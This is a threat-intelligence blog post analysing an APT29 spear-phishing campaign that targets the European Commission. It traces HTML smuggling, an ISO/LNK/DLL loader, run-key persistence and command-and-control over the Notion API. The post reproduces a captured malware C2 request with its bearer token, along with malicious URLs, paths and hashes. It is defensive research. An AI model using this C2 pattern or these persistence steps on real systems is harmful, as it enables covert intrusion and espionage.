Sophisticated APT29 Campaign Abuses Notion API to Target the European Commission

mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58

Gianluca Tiepolo March 30, 2023

Gianluca Tiepolo

Mar 9

.

12 min read

Research by Gianluca Tiepolo

A map of Russia, as imagined by DALL·E

-
-
-

APT29 is a highly sophisticated Advanced Persistent Threat (APT) group that has been attributed to **Russia's Foreign Intelligence Service (SVR)**. The group has been active since at least 2008 and has been involved in a wide range of **espionage** and cyber-attack campaigns targeting **governments**, **military organizations**, **defense contractors**, and various industries in the United States, Europe, and Asia.

APT29 is also known as **NOBELIUM** (Microsoft), **Cozy Bear** (Crowdstrike), **The Dukes** (Kaspersky), **JACKMACKEREL** (iDefense), **BlueBravo** (Recorded Future) and **UNC2452** (FireEye).

The group is known for its subtle and sophisticated tradecraft in **stealing geopolitical intelligence**: unlike other Russian state-sponsored groups such as **APT28** or **Sandworm**, APT29 has not been linked to destructive operations and operates with much more discretion.

The group has been attributed to a number of high-profile cyberattacks, including:

- APT29 was one of the two Russian groups responsible for the cyberattack on the DNC during the 2016 U.S. presidential election. The group gained access to the DNC's email system and stole sensitive information, which was subsequently leaked to the public.
- APT29 was attributed to the highly sophisticated supply chain attack against SolarWinds, a leading IT management software provider. The attack allowed the group to gain access to the systems of several U.S. government agencies, including the Department of Justice, the Department of State, and the Department of Homeland Security.

In May 2021, it was revealed that APT29 was responsible for **a large-scale cyberattack on multiple U.S. government agencies** and private companies, including Microsoft. The group used a compromised email marketing system to send spear-phishing emails to over 3,000 individual accounts, resulting in the installation of a **backdoor** that allowed the attackers to

gain access to the victims' networks. The group has also been linked to other significant cyberattacks, including **the theft of COVID-19 research** from U.S.-based pharmaceutical companies.

Overall, APT29 is one of the most sophisticated and well-resourced APT groups in the world, and its TTPs are constantly evolving and changing.

Tactics, Techniques, and Procedures

APT29 is known for its patient and persistent targeting of its victims, often using multi-stage attacks that take weeks or even months to complete. Following is a list of the group's most notable TTPs:

- the group uses highly targeted and convincing spear-phishing emails to gain access to a target's system. These emails are usually tailored to the recipient's interests and appear to come from a trusted source.
- APT29 has also been known to use watering hole attacks, where the group compromises a trusted website frequented by the target, and then injects malware into the site to infect visitors.
- APT29 uses highly customized malware, such as "SeaDuke" and "CosmicDuke," that are designed to evade detection and maintain persistence on the target system. The group is also known to use well-known tools like "Cobalt Strike" and "PowerShell Empire".
- the group is known for its use of zero-day exploits to gain access to target systems. For example, APT29 has been known to use exploits for popular software like Microsoft Office and Adobe Flash.
- APT29 often uses "" tactics, where the group uses legitimate tools and techniques that are already present on the target system to evade detection. This can include tools like , , and .

In this particular research, I focused on analyzing APT29's command-and-control capabilities.

Command & Control

This threat group has a history of using trusted and legitimate **cloud services (**such as social media services and Google Drive**)** for their cyber attacks in an attempt to **blend into normal network traffic and evade detection**. Malware distributed by APT29 also contains the ability to exfiltrate data over those same C2 channels. For example:

- The group's malware searched for specific that contained URLs to access C2 servers.
- APT29's and malware also have the ability to use to obtain C2 URLs, as well as other social media services like and

- APT29's backdoor uses , , and for C2 communication.

APT29 has also utilized **custom encryption methods**, such as those found in the group's **SeaDuke** malware where a unique fingerprint was generated for the infected host and Base64 encoding and RC4/AES encryption was used to layer data during communications with their C2 server. The group has also employed techniques such as "*domain fronting*" and **TOR obfuscation** plugins to create encrypted network tunnels.

Using social networks for C2 communications is not an entirely new technique: other Russian groups such as **Turla** (Venomous Bear) leveraged comments posted to **Instagram** to obtain the address of its command and control servers.

Source: FireEye, Stealthy Tactics Define a Russian Cyber Threat Group, 2015
APT29 was spotted using **Twitter** to control infected machines as early as 2015: in the **HAMMERTOSS** campaign, the group was able to receive commands and send stolen data through the popular social network, which allowed them to **evade detection** by security solutions that did not monitor social media traffic.

EnvyScout

In a more recent campaign dating back to June 2021, APT29 targeted Italy **diplomatic organizations** with a spear phishing campaign that distributed the **EnvyScout** backdoor.

C2 communication through Slack
The backdoor first calls a function to **create a custom Slack channel**, adding the attacker's user ID to the newly created channel. The backdoor gets the user name and hostname of the victim host, adds 4 random numbers to form the name of the channel, and sends an HTTP request with an authorization token to the Slack API. After the channel is established, the backdoor enters an infinite loop: it uses the "chat.postMessage" API request to **send a beacon message to the newly created channel** and it receives a response with a list of additional files and payloads that are downloaded and executed on the target machine.

Beatdrop

In mid-January 2022, APT29 launched yet another spear phishing campaign targeting a **diplomatic entity**, which was detected and responded to by Mandiant. During the investigation, Mandiant discovered that the malicious emails were used to distribute the **BEATDROP** and **BOOMMIC** downloaders.

BEATDROP is a downloader written in C that **leverages Trello for Command-and-Control (C2) communication**. Trello is a web-based project management application that allows users to organize tasks and projects using customizable boards, lists, and cards.

When executed, BEATDROP maps its own copy of `ntdll.dll` into memory to execute shellcode in its own process. It creates a suspended thread, then enumerates the system for the username, computer name, and IP address to create a victim ID. This victim ID is used by BEATDROP to store and retrieve victim payloads from its C2. Once the victim ID is created, BEATDROP sends an initial request to Trello to determine if the current victim has already been compromised. **The shellcode payload is then retrieved from Trello** and is targeted for each victim. Once the payload has been retrieved, it is deleted from Trello.

Notion for C2 Communication

In October 2022, ESET Research discovered a sample uploaded to VirusTotal that closely resembled what APT29 had used a few months ago, with the key difference being that it used **Notion**, a cloud-based note-taking software platform, for **Command-and-Control (C&C)** communications.

Notion API can be abused for C2 communications by embedding the commands into the Notion workspace, which is accessed by the malware as if it were a legitimate user. This misuse of Notion allows the threat actors to **evade detection and bypass security controls**, as the traffic between the malware and the Notion server is likely to be perceived as legitimate traffic.

ESET researchers suspect that the downloader deployed in this particular campaign was designed to gather and execute additional malicious payloads, such as **Cobalt Strike**. The campaign has been analyzed in more detail by researchers at Hive Pro and Recorded Future, which identify the sample as the **GraphicalNeutrino** malware.

According to Recorded Future, APT29 utilized a compromised website with a lure text of "*Ambassador's schedule November 2022*" to distribute the ZIP file "schedule.zip", suggesting that the targets of the campaign are related to **embassy staff or an ambassador**. GraphicalNeutrino, the malware used in the operation, serves as a **loader** with basic C2 capabilities and employs various **anti-analysis techniques** to avoid detection, including API unhooking and sandbox evasion.

GraphicalNeutrino artifact — 140runtime.dll
After establishing persistence, the malware decrypts several strings, including a **Notion API key** and a database identifier, and calculates a unique ID for the victim based on their username and hostname. It then uses Notion's API for C2 communication to deliver additional payloads to the victim's machine.

For each request to the C2, GraphicalNeutrino **parses the JSON-formatted response** and searches for a "*file*" array; if the array is not empty, then the malware will parse out the URL field, download the file and decrypt it using a custom cipher. Once the shellcode is decrypted, it is indirectly spawned in a new thread.

A sample response from Notion C2

The use of **diplomatic lures** during times of heightened geopolitical tensions, such as the ongoing war in Ukraine, is likely to be effective for Russian APT groups, given the potential impact of **information gathered from compromised entities** or individuals on Russian foreign policy and strategic decision-making processes. It is perhaps for this reason that APT29 adopted the same tactics — in particular the stealthy C2 communication through Notion — for its next big campaign, this time targeting the **European Commission**.

Attack against the European Commission

In this final section of the blog post, I'm dissecting a previously undisclosed campaign attributed to APT29 which targeted the **European Commission**. The previous introduction to the group's TTPs and campaigns will hopefully be beneficial to the reader, as this attack shares quite a few similarities with the GraphicalNeutrino campaign that was exposed by Recorded Future.

Initial Access

Beginning mid-February 2023, a **spear phishing** campaign targeted a number of email addresses related to members of the European Commission. The attack involved the distribution of a **malicious .iso image** that contained a new sample of the **VaporRage** downloader. Once executed, the malware was observed exploiting the **Notion API** to deploy **Cobalt Strike** beacons.

Execution flow for the attack targeting the European Commission

The first phishing email, sent on the 13th February 2023, masqueraded as an administrative notice related to documents available to download from eTrustEx, a web based exchange platform that ensures secure transmission of documents between members of the Commission. The decoy emails are written in English and were delivered to an extremely targeted number of key people that use the eTrustEx platform.

Lure email delivered to the European Commission

In addition, I noticed that in different samples of the email, the senders are probably compromised email accounts belonging to legitimate government organizations. This could lead victims to believe that the emails came from reliable partners, making it more likely for recipients to click on the links.

When the link is opened, the victim is redirected to a malicious HTML page hosted at `hxxps://literaturaelsalvador[.]com/Instructions.html` which makes use of a technique known as **HTML Smuggling** to download an ISO image to the target system. I believe that this domain is not actor-owned but has been compromised, which aligns with previous APT29 activity.

Lure website
The ISO file is set to auto-download when the website is visited by the victim; this is achieved through the following JavaScript code. The contents of `Instructions.iso` is stored in the `d` variable.

JS Code which downloads the first-stage payload

Execution

Once the file has been written to disk, when a user double-clicks on it in Windows 10 or later, the image is mounted and the folder contents is displayed in Windows Explorer. The ISO contains two files — a Windows shortcut file (`Instructions.lnk`) and a malicious DLL (`BugSplatRc64.dll`).

If the user clicks on the LNK file, the following command runs, unintentionally triggering the execution of the malicious DLL.

Execution of the malicious DLL
Using LNK shortcuts to execute malicious DLLs is a technique that has been associated to APT29 in a number of campaigns. In this particular scenario, I recognized the sample as **VaporRage**, a downloader that has been used by APT29 since 2021.

Persistence

When executed with the `InitiateDs` export, VaporRage first runs a few reconnaissance commands and generates a **host-id** by hex-encoding the DNS domain and username. Then, it creates a copy of itself at:

```
C:\Users\%USERNAME%\AppData\Local\DsDiBacks\BugSplatRc64.dll
```

VaporRage creates a copy of itself
VaporRage then establishes persistence on the compromised system by creating a registry run key located at: `\Software\Microsoft\Windows\CurrentVersion\Run\DsDiBacks`.

VaporRage establishes persistence through a registry key

Command and Control

As I anticipated at the start of this post, the VaporRage sample delivered in the execution chain leverages its command-and-control by communicating over HTTPS using **Notion APIs**. Notion's database feature is also used to store victim information and stage further payloads for download.

PCAP collected during C2 communication

Based on my observations, this VaporRage sample periodically executes a POST request to the Notion API to check the availability of a **second-stage malware payload**, which is then retrieved and executed in memory. In this particular campaign, APT29 used VaporRage to distribute **Cobalt Strike beacons** to further establish a foothold within the environment.

Following is a sample POST request towards **api.notion.com** (104[.]18.42.99):

```
POST /v1/databases/37089abc0926463182bb5343bce252cc/query HTTP/1.1
content-type: application/json
accept: application/json
notion-version: 2022-06-28
authorization: Bearer secret_X92sXCVWoTk63aPgGKlPBBmHVmuKXJ2geugKa7Ogj7s
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/35.0.1916.114 Safari/537.36
Host: api.notion.com
Content-Length: 79
Connection: Keep-Alive
Cache-Control: no-cache

 {"filter":{"property":"Name","rich_text":{"equals":"VKoMr3830"}},"page_size":1}
```

This technique exemplifies APT29's ongoing attempts to obscure its actions and maintain **continuous access** to target systems. This has been documented thoroughly by Mandiant, who have described APT29 using a variety of techniques, including **scheduled tasks**, run keys, **malicious certificates**, and in-memory **backdoors**, sometimes utilizing multiple methods for each target.

Overall, the use of **cloud services** such as **Trello** and **Notion** for C2 communications not only provides a threat actor with increased capabilities for evasion of network security controls, but also increases resilience to law enforcement takedowns: social media and cloud services are often hosted on multiple servers and locations, making it more difficult for authorities to take down the entire platform. This means that the threat actor can continue to use the platform for C2 communications even if some servers are taken down. These advantages make it an attractive option for threat groups such as APT29 to conduct their malicious activities.

Conclusions

The range of tactics, techniques, and procedures (TTPs) used by APT29 in this campaign supports the conclusion that their objective is to establish numerous means of **long-term access** to facilitate espionage-related **intelligence gathering** within the targeted government entities' victim networks. Nations that have a connection to the Ukraine crisis, specifically those with significant geopolitical, economic, or military ties to Russia or Ukraine, face a heightened risk of being targeted by APT29.

This threat group has shown an impressive ability to adapt swiftly during their operations. They use innovative and unique methods to **circumvent detection** and authentication requirements in their target environments. In their recent operations, the group has demonstrated a deep understanding of operational security, enabling them to move seamlessly between on-premises and **cloud resources** with minimal use of malware. These factors, combined with their advanced malware development skills, long history of operations, and extended time on targets, indicate that APT29 is a well-funded and **exceptionally sophisticated** actor and will definitely continue to be a threat during 2023.

IOCs

Following is a list of indicators associated to this campaign.

Domains hxxps://literaturaelsalvador[.]com/instructions.html
hxxps://api[.]notion[.]com/v1/databases/37089abc0926463182bb5343bce252cc/query

IPs
108[.]167.180.186
104[.]18.42.99

Files — SHA256
21a0b617431850a9ea2698515c277cbd95de4e59c493d0d8f194f3808eb16354 (Instructions.iso)
e957326b2167fa7ccd508cbf531779a28bfce75eb2635ab81826a522979aeb98 (BugSplatRc64.dll)

About the Author — Gianluca Tiepolo

I'm a cybersecurity researcher who specializes in digital forensics and incident response for the telecommunications industry. Over the past 12 years, by working as a consultant I have performed forensic analysis, threat hunting, incident response, and Cyber Threat Intelligence analysis for dozens of organizations, including several Fortune® 100 companies. In 2013, I co-founded the startup Sixth Sense Solutions, which developed AI-based antifraud solutions.

Today, I work as a Cyber Threat Intelligence (CTI) Team Lead for Accenture Security.

I love writing and sharing my knowledge: in 2016 I authored the book "Getting Started with RethinkDB", and in 2022 I wrote "iOS Forensics for Investigators", both published by Packt Publishing.